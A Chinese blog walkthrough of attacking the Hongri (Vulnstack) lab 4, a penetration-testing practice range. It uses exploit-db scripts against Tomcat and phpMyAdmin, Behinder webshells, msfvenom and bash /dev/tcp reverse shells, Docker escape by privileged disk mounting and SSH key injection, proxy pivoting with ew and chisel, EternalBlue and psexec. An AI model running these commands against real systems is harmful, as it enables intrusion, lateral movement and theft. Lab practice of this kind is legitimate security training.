红日靶场4渗透记录(上)

红日靶场4渗透记录(上)

0 前言

后面的失败了,看到第4节结束就差不多了,靶场可能有点问题

1 环境搭建

最近红日靶场官网寄了,若想下载靶场镜像请私聊我

解压后是三个容器,web,dc,win7。按理来说我们只需来到vmware界面选择导入虚拟机就可以,但是这次选择该选项后是需要自动创建虚拟机的,要选一个空间稍大的一点的目录(默认是文档目录),大概装完后有这么大:

image-20220822161142750

可见需要预留至少45G空间吧

逐个导入后逐个开启,查看下账号密码有没有问题(红日靶场2的密码有时候会错)

ubuntu: ubuntu
win7 douser: Dotest123
DC: administrator: Test2008 修改为Qwer1234

随后配置网络,DC,win7需要一张自定义的虚拟网卡,ubuntu作为DMZ区需要一张自定义的虚拟网卡和一张用于与外网通信的网卡(我选择了桥接模式)

这张自定义虚拟网卡必须如下配置,DC已经把内网网段限制死了

image-20220822161644318

随后配置网络,ubuntu选择桥接和虚拟网卡2,其余两个只选择虚拟网卡2,最后互ping检测一下通路,成功就算是大功告成了

紧接着启动web服务,进去ubuntu的docker启动三个容器

cd /home/ubuntu/Desktop/vulhub/struts2/s2-045
sudo docker-compose up -d
cd /home/ubuntu/Desktop/vulhub/tomcat/CVE-2017-12615/
sudo docker-compose up -d
cd /home/ubuntu/Desktop/vulhub/phpmyadmin/CVE-2018-12613/
sudo docker-compose up -d

image-20220822163813411

随后外面访问一下三个容器端口,有服务就算完成

2 外网渗透

2.1 信息收集

介绍这个Arp-scan,这是一款kali自带的一款轻量ARP扫描工具,该工具会自动解析MAC地址,得到对应硬件厂商。由于用的是arp协议,所以还是会快一些

我觉得吧,用来扫描局域网的主机还是挺好用的,由于扫描的少,所以扫描速度还是比较快,可以很快的查看到局域网有哪些主机和对应的MAC地址。
扫描到主机后,再配合Nmap使用,更加方便。

arp-scan -l
//-l 从网络接口配置生成地址

image-20220822164311328

104是web靶机,105是kali

想用nmap也可以用这个

nmap -sP --min-hostgroup 1024 --min-parallelism 1024 192.168.0.1/24

image-20220822172446016

nmap 192.168.0.104

image-20220822163925686

详细信息

nmap -T4 -sV 192.168.0.105
// -sV: Probe open ports to determine service/version info

image-20220822165047969

22/tcp   open  ssh     OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.13 (Ubuntu Linux; protocol 2.0)
2001/tcp open  http    Jetty 9.2.11.v20150529
2002/tcp open  http    Apache Tomcat 8.5.19
2003/tcp open  http    Apache httpd 2.4.25 ((Debian))

但是呢,明显-A参数更好,可以带上poc去扫描,指纹信息更丰富

nmap -T4 -A 192.168.0.104

image-20220822182401669

这时你可以看到structs2的指纹特征(不过点开web界面也可以在title处看到)

2001:struts2
2002:Tomcat (version:8.5.19)
2003:phpmyadmin

2.2 Web

2.2.1 structs

一般是用struct2scan,但是我这里扫不出洞,复现失败

Usage: Struts2Scan.py [OPTIONS]

  Struts2批量扫描利用工具

Options:
  -i, --info          漏洞信息介绍
  -v, --version       显示工具版本
  -u, --url TEXT      URL地址
  -n, --name TEXT     指定漏洞名称, 漏洞名称详见info
  -f, --file TEXT     批量扫描URL文件, 一行一个URL
  -d, --data TEXT     POST参数, 需要使用的payload使用{exp}填充, 如: name=test&passwd={exp}
  -c, --encode TEXT   页面编码, 默认UTF-8编码
  -p, --proxy TEXT    HTTP代理. 格式为http://ip:port
  -t, --timeout TEXT  HTTP超时时间, 默认10s
  -w, --workers TEXT  批量扫描进程数, 默认为10个进程
  --header TEXT       HTTP请求头, 格式为: key1=value1&key2=value2
  -e, --exec          进入命令执行shell
  --webpath           获取WEB路径
  -r, --reverse TEXT  反弹shell地址, 格式为ip:port
  --upfile TEXT       需要上传的文件路径和名称
  --uppath TEXT       上传的目录和名称, 如: /usr/local/tomcat/webapps/ROOT/shell.jsp
  -q, --quiet         关闭打印不存在漏洞的输出,只保留存在漏洞的输出
  -h, --help          Show this message and exit.

既然是上传文件,直接传冰蝎马,dirsearch扫到有个upload目录,于是决定upload/xxx.jsp这样碰碰运气,但是失败了捏

2.2.2 tomcat

searchsploit tomcat 8.5

image-20220822204326189

searchsploit -m /usr/share/exploitdb/exploits/jsp/webapps/42966.py

复制到home目录

─$ searchsploit -m /usr/share/exploitdb/exploits/jsp/webapps/42966.py
  Exploit: Apache Tomcat < 9.0.1 (Beta) / < 8.5.23 / < 8.0.47 / < 7.0.8 - JSP Upload Bypass / Remote Code Execution (2)
      URL: https://www.exploit-db.com/exploits/42966
     Path: /usr/share/exploitdb/exploits/jsp/webapps/42966.py
File Type: Python script, ASCII text executable

Copied to: /home/kali/42966.py

桌面双击home目录进去找就行

image-20220822204845135

可以看到这个poc的使用

-u ,--url [::] check target url if it's vulnerable
-p,--pwn  [::] generate webshell and upload it
-l,--list [::] hosts list

探测一下

python 42966.py -u http://192.168.0.104:2002/

成功后就把poc.jsp传上去了

http://192.168.0.104:2002/Poc.jsp

image-20220822204926487

python 42966.py -u http://192.168.0.104:2002/ -p pwn 

image-20220822205418688

成功后入上,kali也会给你个shell

image-20220822205506258

tomcat漏洞汇总:Tomcat漏洞汇总 - 知乎 (zhihu.com)

Put方法写马,看到201成功了,访问/shell.jsp就行

image-20220822222743385

原因是

image-20220827213515088

漏洞的产生是由于配置不当(非默认配置),将配置文件(
conf/web.xml)中的readonly设置为了false,导致可以使用PUT方法上传任意文件,但限制了jsp后缀,不过对于不同平台有多种绕过方法

2.2.3 phpmyadmin

一看连弱密码都不用爆咱直接进来后台了,版本4.8.1

searchsploit phpmyadmin 4.8.1   
searchsploit -m /usr/share/exploitdb/exploits/php/webapps/44924.txt

image-20220822210659894

确实能穿

http://192.168.0.104:2003/index.php?target=db_sql.php%253f/../../../../../../../../etc/passwd

image-20220822210820917

后面两个是sess文件包含,具体操作那个txt写得很明白

1. Run SQL Query : select '<?php phpinfo();exit;?>'
2. Include the session file :
http://1a23009a9c9e959d9c70932bb9f634eb.vsplate.me/index.php?target=db_sql.php%253f/../../../../../../../../var/lib/php/sessions/sess_11njnj4253qq93vjm9q93nvc7p2lq82k

image-20220822212521810

唯一要注意的是这里路径是常见的/tmp/sess_{your token}

image-20220822212444850

3 Docker反弹shell

3.1 判断服务器是否为docker环境

实战中首先需要判断服务器是否为docker环境。

常用的判断方法有两种。

是否存在.dockerenv文件:
docker环境下存在:ls -alh /.dockerenv 文件

查询系统进程的cgroup信息:
docker环境下 cat /proc/1/cgroup

3.2 冰蝎的反弹shell

看到y0ng哥哥也用了下冰蝎,咱学一手

冰蝎安装建议直接下冰蝎3.0的,然后要jdk8,没有的自己去下一个,然后找到Jdk8的路径接着xxx/xxx/java.exe -jar Behinder.jar

启动以后,和蚁剑类似添加Url和密码(该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond)

image-20220822230632322

冰蝎在反弹shell这里的功能很丰富

image-20220822230745343
弹个meterpreter

kali

use exploit/multi/handler
set payload java/meterpreter/reverse_tcp
set lhost 192.168.0.107
set lport 8877
exploit

image-20220823181345778

点击

image-20220823181716529

成功

image-20220823181650386

3.3 msfvenom 后门

生成msf马

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.0.107 LPORT=8888 -f elf >shell.elf

image-20220823104311526

与此同时kali开启新的终端开启监听

msfconsole
use exploit/multi/handler
set lhost 192.168.0.107
set lport 8888
set payload linux/x86/meterpreter/reverse_tcp
run

image-20220823112208263

接着传出来

python -m SimpleHTTPServer 80

image-20220823104419628

由于我这里/usr/bin/python: No module named SimpleHTTPServer,就是py2没有装SimpleHTTPServer

所以用

python3 -m http.server 80 

拿到后,上传

image-20220823110216014

chmod  +x shell.elf
./shell.elf

image-20220823112332777

image-20220823112406888

当然这里上传如果没有冰蝎图形化界面的话,可以考虑wget,curl -F的方式

4 Docker逃逸

Docker逃逸漏洞目前已知有

  • Dirty Cow(CVE-2016-5195)是Linux内核中的权限提升漏洞
  • CVE-2019-5736
  • emote api 未授权访问

4.1 CVE-2019-5736

先试试CVE-2019-5736

影响版本:

docker version <=18.09.2
RunC version <=1.0-rc6

image-20220823115604728

但是人家没有Poc,所以咱下载一个https://github.com/Frichetten/CVE-2019-5736-PoC

image-20220823120453454

bash -i >& /dev/tcp/192.168.0.107/8877 0>&1

就是反弹shell的命令

然后需要在配置特定环境变量的情况下使用Go编译,然后忽然发现kali没go

sudo apt-get update
sudo apt install gccgo-go 
sudo apt install golang-go

接着

source /etc/profile   //配置go环境

CGO_ENABLED=0 GOOS=linux GOARCH=amd64 go build main.go  //编译生成

注意这个source是临时设置的环境变量,随着新的终端的出现而消失

image-20220823121238865

咱熟悉下meterpleter的使用

msfconsole常用命令 - 简书 (jianshu.com)

上传文件命令upload file

upload /home/kali/Desktop/CVE-2019-5736-PoC-master/main

image-20220823121854772

进入终端

shell

之后加权限运行,还有重启docker

但最后果然遇到和y0一样的问题

image-20220823122130477

表面成功(其实只是重写了sh)但是没有返回shell

成功效果如下图(借来的图)

image-20220823134931932

4.2 特权模式—privileged+ssh 免密码 逃逸

一句话描述就是:利用docker的特权模式来在宿主机硬盘中写入ssh私钥,实现ssh免密登录宿主机,从而实现对目标宿主机的控制

特权模式于版本0.6时被引入Docker,允许容器内的root拥有外部物理机root权限,而此前容器内root用户仅拥有外部物理机普通用户权限。
使用特权模式启动容器,可以获取大量设备文件访问权限。因为当管理员执行docker run —privileged时,Docker容器将被允许访问主机上的所有设备,并可以执行mount命令进行挂载。
当控制使用特权模式启动的容器时,docker管理员可通过mount命令将外部宿主机磁盘设备挂载进容器内部,获取对整个宿主机的文件读写权限,此外还可以通过写入计划任务等方式在宿主机执行命令。

4.2.1 挂载磁盘

所以第一步是挂载,何为挂载呢:这里的挂载指的就是将磁盘分区挂载到文件系统的层级结构中,用户可以访问层级结构中的对应路径来对磁盘分区进行读取访问。

fdisk -l 
//查看磁盘挂载情况

image-20220823135141550

可以看到 sda1/dev/sda1

不熟悉磁盘挂载的可以看这个linux 磁盘挂载 - 知乎 (zhihu.com)

image-20220823142700947

mkdir /cyshack //新建目录
mount /dev/sda1 /cyshack //挂载到新目录

查看是否挂载出去了

image-20220823143552234

如上说明成功,我们可以通过访问/cyshack来访问宿主机的/dev/sda1这块磁盘

image-20220823144110408

4.2.2 生成密钥

ssh-keygen -f cyshack  

chmod 600 cyshack  //对cyshack赋权,只有拥有者有读写权限。

注意,生成东西都要记得加权限

image-20220823144633363

我输入了密钥:thai

生成cyshack和cyshack.pub

image-20220823155101201

4.2.3 写入密钥

image-20220823144906490

一般来说用户目录下就有相应的.ssh目录

cp -avx /cyshack/home/ubuntu/.ssh/id_rsa.pub /cyshack/home/ubuntu/.ssh/authorized_keys 
// -avx 将权限也一起复制

echo > authorized_keys  //将内容清空

echo ‘kali生成的.pub内容’ > authorized_keys  //将ssh秘钥写入

image-20220823155043072

4.2.4 免密登录

之后

ssh -i cyshack ubuntu@192.168.0.106

此时,可以利用自己的私钥进行免密码登录目标宿主机

但是我复现失败了,就直接ubuntu连了

5 内网渗透

弹个shell先

传shell.elf,加权限

image-20220823184205102

监听,运行,成功

image-20220823182521655

5.1 内网路由

image-20220823184140442

其余三个网络是docker 内网地址

看到了内网地址,可以添加路由(可以run autoroute -help看提示)

run autoroute -s 192.168.183.0/24

但是我下面这张图用了下面的错误命令,路由ip段错了

run autoroute -s 192.168.0.0/24

image-20220823184608596

挂代理(这个可以参考我以前写的博客)

use auxiliary/server/socks_proxy
 show options

image-20220823201915931

set version 4a

run之后会出现 starting... ,jobs可以查看当前代理任务,如果出现stoping...,可以尝试更改 SRVHOST配置 或者 修改如下配置文件

如果proxychains配置终端代理出现问题 修改一下文件

切记打开的是/etc/proxychains4.conf
(这个因人而异吧)

vim /etc/proxychains4.conf
//root打开才能修改

最后面那行改为socks4 127.0.0.1 1080

改好后run

image-20220823202344361

这样就开启socket代理了,

之后使用proxychains+cmd 这条命令,可以实现 使用代理执行命令(通过这个1080端口转发你本机的流量到shell上发出)

如果你一不小心和我一样代理的路由ip写错了,如何回去修改呢

首先要回到meterpreter,重新run一下之前的run autoroute -s 192.168.168.0/24

回到meterpreter

sessions -l  //查看当前存活的sessions
sessions -i num
//sessions -i number # 与会话进行交互,number表示第n个session,使用session -i 连接到指定序号的meterpreter会话已继续利用

image-20220823205930757

接着background回到msf,这时候直接run代理会显示被一个job占用,如何删掉该Job呢

jobs
kill id

image-20220823210114915

可以看到重新开起来了

5.2 内网扫描

之后使用proxychains+cmd 这条命令,可以实现 使用代理执行命令(通过这个1080端口转发你本机的流量到shell上发出)

proxychains nmap -Pn -sT 192.168.183.130

image-20220823210813643

扫到啥呢:139,135,53,445

我的129靶机挂了,咱们先130

445容易想到永恒之蓝系列

use auxiliary/scanner/smb/smb_ms17_010
set rhosts 192.168.183.129-130
run

image-20220824115000672

图中这个rhost可以有这几种形式的写法

set rhosts 192.168.183.129
set rhosts 192.168.183.129-130
set rhosts 192.168.183.0/24

至于这个setg Proxies socks5:192.168.0.107:1080要不要设置,只能说最好要(但是有时候不设置也可以,估计是自动开代理了)

use exploit/windows/smb/ms17_010_eternalblue
setg Proxies socks5:192.168.0.107:1080
set ReverseAllowProxy true
set rhosts 192.168.183.130
set lport 4567
run

5.3 进攻win2008尝试

理论上前面有域控信息收集之类的

效果

setg Proxies socks5:192.168.0.107:1080
Proxies => socks5:192.168.0.107:1080
msf6 auxiliary(scanner/smb/smb_ms17_010) > use exploit/windows/smb/ms17_010_eternalblue
[*] Using configured payload windows/x64/meterpreter/reverse_tcp
msf6 exploit(windows/smb/ms17_010_eternalblue) > set rhosts 192.168.183.130
rhosts => 192.168.183.130
msf6 exploit(windows/smb/ms17_010_eternalblue) > set lport 4567
lport => 4567
msf6 exploit(windows/smb/ms17_010_eternalblue) > run

[-] 192.168.183.130:445 - Exploit failed: RuntimeError TCP connect-back payloads cannot be used with Proxies. Use 'set ReverseAllowProxy true' to override this behaviour.
[*] Exploit completed, but no session was created.
msf6 exploit(windows/smb/ms17_010_eternalblue) > set ReverseAllowProxy true
ReverseAllowProxy => true
msf6 exploit(windows/smb/ms17_010_eternalblue) > run

失败告终

image-20220824122107282

5.4 进攻win7

5.4.1 直接挂4a代理进攻

扫描的时候扫到了

image-20220824143949418

131就是了

use exploit/windows/smb/ms17_010_eternalblue
setg Proxies socks4a:192.168.0.107:1080
set ReverseAllowProxy true
set lport 4567
run

然后这里继续失败踩坑,怀疑是代理的问题了,因为已经能打到445端口了,但是连不上去

image-20220824145105756

5.4.2 使用sockets5

5.4.2.1 ew

下个ew

upload ~/Desktop/ew-master/ew_for_linux64 /home/ubuntu

咱重开一遍,重新反弹ubuntu的shell给kali:

msfconsle

use exploit/multi/handler
set lhost 192.168.0.107
set lport 8888
set payload linux/x86/meterpreter/reverse_tcp
run

先ssh上ubuntu,执行

nohup ./shell.elf &

image-20220824151022632

这样就可以把该进程挂后台了,不会挡在终端这,因为后面还要用这个终端(尝试过另一个ssh连上去,失败,只能这样)

这个[1] 7463是pid

chmod 777 ./ew_for_linux64
nohup ./ew_for_linux64 -s ssocksd -l 1080 &

image-20220824151351708

kali改下

vim /etc/proxychains4.conf

image-20220824151522194

配置路由

run autoroute -s 192.168.183.0/24
run autoroute -p

image-20220824151603665

挂代理

use auxiliary/server/socks_proxy
run

扫活

use auxiliary/scanner/discovery/udp_probe
set rhosts 192.168.183.0-255
set threads 5
run

image-20220824151925604

ms17-010进攻win7

use exploit/windows/smb/ms17_010_eternalblue
setg Proxies socks5:192.168.0.107:1080      
set payload windows/x64/meterpreter/bind_tcp
set rhost 192.168.183.131
set lport 4444
set AutoRunScript post/windows/manage/migrate             
run

然后探测得到但是反弹连不上

image-20220824163748455

换个使用方法

本地配置一下

./ew_for_linux64 -s rcsocks -l 1080 -e 1234

kali

nohup ./ew_for_linux64 -s rssocks -d 192.168.0.107 -e 1234 &

image-20220824163547110

也是不行

5.4.2.2 chisel

直到我找到一篇文档(37条消息) 红日安全vulnstack-ATT&CK实战系列 红队实战(四)_Ys3ter的博客-CSDN博客

拿ew做socks代理时候msf一连就断,没法执行命令,换成chisel就好了

image-20220824164134522

Release v1.7.7 · jpillora/chisel · GitHub

upload ~/Desktop/chisel_/linux_amd64/chisel /home/ubuntu

使用方法类似

ubuntu

chmod 777 chisel
./chisel server -p 8888 --socks5

image-20220824171030180

kali

./chisel client 192.168.0.105:8888 socks   //跳板机的公网ip

image-20220824171035183

这里其实也是用1080的,8888是开在跳板机上的,很好理解,就是本机的流量全部用127.0.0.1:1080对外发送,发送到跳板机192.168.0.105:8888的代理上

用proxychains测试了下,可以是可以(注意proxychain只能转发tcp流量,ping就用不了)

image-20220824202909094

而我106(本机)监听到的的确是来自ubuntu的ip,就说明是代理转发了

use exploit/windows/smb/ms17_010_eternalblue
setg Proxies socks5:127.0.0.1:1080 
set payload windows/x64/meterpreter/bind_tcp
set rhost 192.168.183.131
set lport 4444        
run

注意用的直连bind_tcp

5.5 win7上面工具的使用

5.5.1 Psexec的使用

(37条消息) PsExec的使用_平凡的学者的博客-CSDN博客_psexec使用命令

简单来说是远控软件,使用如下

psexec64.exe \\192.168.183.130 -u administrator -p Qwer1234 cmd.exe /c "net user"

这样就控制了DC

5.5.2 artifact.exe的使用

是cs的后门文件

(37条消息) 渗透测试神器CS(4.0)的使用_世间繁华梦一出的博客-CSDN博客_cs渗透测试

报错

RubySMB::Error::UnexpectedStatusCode The server responded with an unexpected status code: STATUS_ACCESS_DENIED

https://www.cnblogs.com/adsry/p/12904057.html

也可以直接在win7跑下面这个(应该要管理员)

reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f

image-20220827173103385

如果报错

无法创建值写入注册表时出错 win7

image-20220827173443797

xs,最后失败了,我根本没有管理员

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇